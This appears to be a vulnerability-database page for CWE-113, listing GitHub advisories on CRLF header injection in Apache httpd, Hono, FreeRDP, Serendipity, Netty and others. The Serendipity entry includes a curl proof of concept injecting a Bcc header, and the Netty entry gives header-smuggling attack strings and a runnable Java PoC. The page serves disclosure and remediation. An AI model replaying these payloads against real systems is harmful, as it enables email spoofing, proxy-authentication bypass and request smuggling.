CWE-113
AllowedImproper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
Abstraction: Variant · Status: Incomplete
The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.
203 vulnerabilities reference this CWE, most recent first.
GHSA-3F78-WQ4J-7VGR
Vulnerability from github – Published: 2023-01-17 21:30 – Updated: 2023-01-25 03:30Prior to Apache HTTP Server 2.4.55, a malicious backend can cause the response headers to be truncated early, resulting in some headers being incorporated into the response body. If the later headers have any security purpose, they will not be interpreted by the client.
{
"affected": [],
"aliases": [
"CVE-2022-37436"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-436"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-17T20:15:00Z",
"severity": "MODERATE"
},
"details": "Prior to Apache HTTP Server 2.4.55, a malicious backend can cause the response headers to be truncated early, resulting in some headers being incorporated into the response body. If the later headers have any security purpose, they will not be interpreted by the client.",
"id": "GHSA-3f78-wq4j-7vgr",
"modified": "2023-01-25T03:30:32Z",
"published": "2023-01-17T21:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37436"
},
{
"type": "WEB",
"url": "https://httpd.apache.org/security/vulnerabilities_24.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202309-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3HRH-PFW6-9M5X
Vulnerability from github – Published: 2026-06-04 17:59 – Updated: 2026-06-04 17:59Summary
The serialize() function in hono/cookie validates domain and path options against characters that corrupt Set-Cookie header syntax (;, \r, \n), but does not apply the same validation to sameSite and priority. An application that passes user-controlled input into either option may produce a Set-Cookie response header containing attacker-chosen additional attributes.
Details
When constructing a Set-Cookie header value, serialize() appends the sameSite and priority option values directly into the output string after a presentation-only transformation (capitalizing the first character). Although the TypeScript type signature constrains these options to specific string literals, that constraint is not enforced at runtime; any string value, including one containing ; or line-feed characters, passes through unchanged.
The validation guard that rejects ;, \r, and \n from domain and path is not applied to sameSite or priority. An application that passes a request-derived value to either option therefore provides an injection point into the header line.
This issue arises when an application passes user-controlled input to the sameSite or priority option of setCookie() or serialize().
Impact
An attacker who can control the sameSite or priority option value may inject additional attributes into a Set-Cookie response header.
This may lead to:
- Cookie attribute injection — overriding
Domain,Path,HttpOnly,Secure, orMax-Agefor the affected cookie - HTTP response header injection on runtimes that do not strictly validate header values, enabling a second attacker-controlled
Set-Cookieheader in the same response
This issue affects applications that pass user-derived input into the sameSite or priority option of hono/cookie serialization functions.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47675"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-1287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-04T17:59:25Z",
"nvd_published_at": "2026-05-28T17:16:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `serialize()` function in `hono/cookie` validates `domain` and `path` options against characters that corrupt `Set-Cookie` header syntax (`;`, `\\r`, `\\n`), but does not apply the same validation to `sameSite` and `priority`. An application that passes user-controlled input into either option may produce a `Set-Cookie` response header containing attacker-chosen additional attributes.\n\n### Details\n\nWhen constructing a `Set-Cookie` header value, `serialize()` appends the `sameSite` and `priority` option values directly into the output string after a presentation-only transformation (capitalizing the first character). Although the TypeScript type signature constrains these options to specific string literals, that constraint is not enforced at runtime; any string value, including one containing `;` or line-feed characters, passes through unchanged.\n\nThe validation guard that rejects `;`, `\\r`, and `\\n` from `domain` and `path` is not applied to `sameSite` or `priority`. An application that passes a request-derived value to either option therefore provides an injection point into the header line.\n\nThis issue arises when an application passes user-controlled input to the `sameSite` or `priority` option of `setCookie()` or `serialize()`.\n\n### Impact\n\nAn attacker who can control the `sameSite` or `priority` option value may inject additional attributes into a `Set-Cookie` response header.\n\nThis may lead to:\n\n- Cookie attribute injection \u2014 overriding `Domain`, `Path`, `HttpOnly`, `Secure`, or `Max-Age` for the affected cookie\n- HTTP response header injection on runtimes that do not strictly validate header values, enabling a second attacker-controlled `Set-Cookie` header in the same response\n\nThis issue affects applications that pass user-derived input into the `sameSite` or `priority` option of `hono/cookie` serialization functions.",
"id": "GHSA-3hrh-pfw6-9m5x",
"modified": "2026-06-04T17:59:25Z",
"published": "2026-06-04T17:59:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-3hrh-pfw6-9m5x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47675"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/905aedbc20661e0e2fa378783a7ec44a5c3df43d"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/releases/tag/v4.12.21"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hono: Cookie helper does not sanitize sameSite and priority, allowing Set-Cookie injection"
}
GHSA-3Q32-62V8-WP6J
Vulnerability from github – Published: 2022-05-17 03:49 – Updated: 2022-05-17 03:49CRLF injection vulnerability in Huawei FusionAccess before V100R006C00 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2016-6839"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-09-07T19:28:00Z",
"severity": "MODERATE"
},
"details": "CRLF injection vulnerability in Huawei FusionAccess before V100R006C00 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.",
"id": "GHSA-3q32-62v8-wp6j",
"modified": "2022-05-17T03:49:15Z",
"published": "2022-05-17T03:49:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6839"
},
{
"type": "WEB",
"url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160817-01-fusionaccess-en"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/92502"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3R2P-C9R5-PW6W
Vulnerability from github – Published: 2023-09-19 21:31 – Updated: 2024-04-04 07:44All versions of the package crow are vulnerable to HTTP Response Splitting when untrusted user input is used to build header values. Header values are not properly sanitized against CRLF Injection in the set_header and add_header functions. An attacker can add the \r\n (carriage return line feeds) characters to end the HTTP response headers and inject malicious content.
{
"affected": [],
"aliases": [
"CVE-2023-26142"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-74"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-12T05:15:41Z",
"severity": "MODERATE"
},
"details": "All versions of the package crow are vulnerable to HTTP Response Splitting when untrusted user input is used to build header values. Header values are not properly sanitized against CRLF Injection in the set_header and add_header functions. An attacker can add the \\r\\n (carriage return line feeds) characters to end the HTTP response headers and inject malicious content.",
"id": "GHSA-3r2p-c9r5-pw6w",
"modified": "2024-04-04T07:44:33Z",
"published": "2023-09-19T21:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26142"
},
{
"type": "WEB",
"url": "https://gist.github.com/dellalibera/9247769cc90ed96c0d72ddbcba88c65c"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-UNMANAGED-CROW-5665556"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3X8F-6FFV-V2WC
Vulnerability from github – Published: 2026-08-01 15:30 – Updated: 2026-08-01 15:30FreeRDP before 3.29.0 (affected versions <= 3.28.0) does not validate CRLF and control characters in the server-controlled RDP redirection TargetNetAddress field. This value is copied into the client's ServerHostname and, when the client connects through an HTTP proxy, is written directly into the proxy CONNECT request line and Host header by http_proxy_connect() without filtering. A malicious or compromised RDP server can send a crafted redirection PDU containing embedded control characters to inject arbitrary headers/requests into the HTTP proxy CONNECT request.
{
"affected": [],
"aliases": [
"CVE-2026-67289"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-01T13:16:57Z",
"severity": "CRITICAL"
},
"details": "FreeRDP before 3.29.0 (affected versions \u003c= 3.28.0) does not validate CRLF and control characters in the server-controlled RDP redirection TargetNetAddress field. This value is copied into the client\u0027s ServerHostname and, when the client connects through an HTTP proxy, is written directly into the proxy CONNECT request line and Host header by http_proxy_connect() without filtering. A malicious or compromised RDP server can send a crafted redirection PDU containing embedded control characters to inject arbitrary headers/requests into the HTTP proxy CONNECT request.",
"id": "GHSA-3x8f-6ffv-v2wc",
"modified": "2026-08-01T15:30:25Z",
"published": "2026-08-01T15:30:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-mwwh-mhp9-q7vm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67289"
},
{
"type": "WEB",
"url": "https://github.com/FreeRDP/FreeRDP/commit/f3b4347105114fe7453828736bea069999af319f"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/freerdp-before-http-proxy-request-injection-via-redirection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-458G-Q4FH-MJ6R
Vulnerability from github – Published: 2026-04-14 22:32 – Updated: 2026-04-27 15:02Summary
Serendipity inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without any validation beyond CRLF stripping. An attacker who can control the Host header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.
Details
In include/functions.inc.php:548:
$maildata['headers'][] = 'Message-ID: <'
. bin2hex(random_bytes(16))
. '@' . $_SERVER['HTTP_HOST'] // ← unsanitized, attacker-controlled
. '>';
The existing sanitization function only blocks \r\n and URL-encoded variants:
function serendipity_isResponseClean($d) {
return (strpos($d, "\r") === false && strpos($d, "\n") === false
&& stripos($d, "%0A") === false && stripos($d, "%0D") === false);
}
Critically, serendipity_isResponseClean() is not even called on HTTP_HOST before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.
Email is triggered by actions such as: - New comment notifications to blog owner - Comment subscription notifications to subscribers - Password reset emails (if configured)
PoC
# Trigger comment notification email with injected header
curl -s -X POST \
-H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \
-d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1" \
http://[TARGET]/comment.php
Resulting malicious Message-ID header in outgoing email:
Message-ID: <deadbeef@attacker.com>
Bcc: victim@evil.com
X-Injected: >
Impact
An attacker can control the domain portion of the Message-ID header in all outgoing emails sent by Serendipity (comment notifications, subscriptions).
This enables:
- Identity spoofing — emails appear to originate from attacker-controlled domain
- Reply hijacking — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure
- Email reputation abuse — attacker's domain embedded in legitimate mail headers
Suggested Fix
Sanitize HTTP_HOST before embedding in mail headers, and restrict to valid hostname characters only:
$safe_host = preg_replace('/[^a-zA-Z0-9.\-]/', '',
parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)
);
$maildata['headers'][] = 'Message-ID: ';
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "s9y/serendipity"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39971"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T22:32:38Z",
"nvd_published_at": "2026-04-15T04:17:39Z",
"severity": "HIGH"
},
"details": "### Summary\nSerendipity inserts `$_SERVER[\u0027HTTP_HOST\u0027]` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.\n\n### Details\nIn `include/functions.inc.php:548`:\n```php\n$maildata[\u0027headers\u0027][] = \u0027Message-ID: \u003c\u0027 \n . bin2hex(random_bytes(16)) \n . \u0027@\u0027 . $_SERVER[\u0027HTTP_HOST\u0027] // \u2190 unsanitized, attacker-controlled\n . \u0027\u003e\u0027;\n```\n\nThe existing sanitization function only blocks `\\r\\n` and URL-encoded variants:\n```php\nfunction serendipity_isResponseClean($d) {\n return (strpos($d, \"\\r\") === false \u0026\u0026 strpos($d, \"\\n\") === false \n \u0026\u0026 stripos($d, \"%0A\") === false \u0026\u0026 stripos($d, \"%0D\") === false);\n}\n```\n\nCritically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers \u2014 making this exploitable with any character that SMTP interprets as a header delimiter.\n\nEmail is triggered by actions such as:\n- New comment notifications to blog owner\n- Comment subscription notifications to subscribers\n- Password reset emails (if configured)\n\n### PoC\n```bash\n# Trigger comment notification email with injected header\ncurl -s -X POST \\\n -H \"Host: attacker.com\u003e\\r\\nBcc: victim@evil.com\\r\\nX-Injected:\" \\\n -d \"serendipity[comment]=test\u0026serendipity[name]=hacker\u0026serendipity[email]=a@b.com\u0026serendipity[entry_id]=1\" \\\n http://[TARGET]/comment.php\n```\nResulting malicious `Message-ID` header in outgoing email:\n```\nMessage-ID: \u003cdeadbeef@attacker.com\u003e\nBcc: victim@evil.com\nX-Injected: \u003e\n```\n\n### Impact\nAn attacker can control the domain portion of the `Message-ID` header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). \nThis enables:\n- **Identity spoofing** \u2014 emails appear to originate from attacker-controlled domain\n- **Reply hijacking** \u2014 some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure\n- **Email reputation abuse** \u2014 attacker\u0027s domain embedded in legitimate mail headers\n### Suggested Fix\nSanitize `HTTP_HOST` before embedding in mail headers, and restrict to valid hostname characters only:\n```php\n$safe_host = preg_replace(\u0027/[^a-zA-Z0-9.\\-]/\u0027, \u0027\u0027, \n parse_url(\u0027http://\u0027 . $_SERVER[\u0027HTTP_HOST\u0027], PHP_URL_HOST)\n);\n$maildata[\u0027headers\u0027][] = \u0027Message-ID: \u0027;\n```",
"id": "GHSA-458g-q4fh-mj6r",
"modified": "2026-04-27T15:02:16Z",
"published": "2026-04-14T22:32:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/s9y/Serendipity/security/advisories/GHSA-458g-q4fh-mj6r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39971"
},
{
"type": "PACKAGE",
"url": "https://github.com/s9y/Serendipity"
},
{
"type": "WEB",
"url": "https://github.com/s9y/Serendipity/releases/tag/2.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header"
}
GHSA-45Q3-82M4-75JR
Vulnerability from github – Published: 2026-05-07 00:11 – Updated: 2026-05-14 20:40Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions) |
| Component | io.netty.handler.proxy.HttpProxyHandler |
| Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |
| Impact | HTTP Header Injection in CONNECT Proxy Requests |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
io.netty.handler.proxy.HttpProxyHandler—newInitialMessage()method (line 176) explicitly disables header validation viawithValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
// ...
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) {
req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
}
if (outboundHeaders != null) {
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION
}
return req;
}
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
- The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
- User-provided
outboundHeadersare added without any CRLF check - The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses
HttpProxyHandlerwith user-influencedoutboundHeaders - The application does not perform its own CRLF sanitization on header values
Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput); // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format:
CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
Header accepted: YES (validation disabled!)
Wire format:
CONNECT target.com:443 HTTP/1.1\r
host: target.com:443\r
X-Forwarded-For: 1.2.3.4\r
X-Forwarded-For: 127.0.0.1\r <-- INJECTED
X-Admin: true\r <-- INJECTED
\r
Injected X-Admin header in wire: true
VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
With validation=true:
SAFE: Rejected - IllegalArgumentException
With validation=false:
VULNERABLE: Accepted CRLF in header value!
Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
if (outboundHeaders != null) {
for (Map.Entry<String, String> entry : outboundHeaders) {
HttpUtil.validateHeaderValue(entry.getValue());
}
req.headers().add(outboundHeaders);
}
8. Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42578"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:11:40Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "LOW"
},
"details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n // ...\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false); // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n if (authorization != null) {\n req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n }\n\n if (outboundHeaders != null) {\n req.headers().add(outboundHeaders); // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n }\n\n return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput); // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4= \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n public static void main(String[] args) {\n System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false);\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n \"target.com:443\",\n io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n // Inject CRLF in header value\n String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n req.headers().set(\"X-Forwarded-For\", malicious);\n\n // Encode to wire format\n EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n ch.writeOutbound(req);\n ByteBuf out = ch.readOutbound();\n String encoded = out.toString(StandardCharsets.UTF_8);\n out.release();\n ch.finishAndReleaseAll();\n\n System.out.println(\"Wire format:\");\n for (String line : 